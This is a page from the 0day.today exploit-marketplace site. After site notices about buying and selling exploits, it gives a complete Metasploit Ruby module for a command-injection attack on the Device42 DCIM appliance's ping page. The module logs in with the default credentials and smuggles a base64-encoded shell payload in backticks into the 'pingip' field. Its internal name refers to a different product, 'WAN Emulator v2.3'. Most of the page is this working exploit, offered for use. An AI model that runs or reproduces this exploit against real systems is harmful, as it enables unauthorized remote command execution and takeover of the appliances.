0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Device42 DCIM Appliance Manager Ping Command Injection Exploit
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'WAN Emulator v2.3 Command Execution', 'Description' => %q{ }, 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit ], 'References' => [ ], 'Payload' => { 'Space' => 1024, 'BadChars' => "", 'DisableNops' => true, #'Compat' => # { # 'PayloadType' => 'cmd', # 'RequiredCmd' => 'generic netcat netcat-e', # } }, 'DefaultOptions' => { 'ExitFunction' => 'none' }, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 12 2012' )) end def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'), }) cookie = res.headers['Set-Cookie'] csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/ post = { 'csrfmiddlewaretoken' => csrf, 'username' => 'd42admin', 'password' => 'default', 'next' => '/' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'accounts', 'login/'), 'vars_post' => post, 'method' => 'POST', 'cookie' => cookie }) unless res.code == 302 fail_with("auth failed") end cookie = res.headers['Set-Cookie'] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ping/'), 'cookie' => cookie }) cookie = res.headers['Set-Cookie'] csrf = $1 if res.body =~ / name='csrfmiddlewaretoken' value='(.*)' \/><\/div>/ post = { 'csrfmiddlewaretoken' => csrf, 'pingip' => "www.google.com`echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode|sh`", 'ping' => '' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ping/'), 'method' => "POST", 'vars_post' => post, 'cookie' => cookie }) end end # 0day.today [2024-11-16] #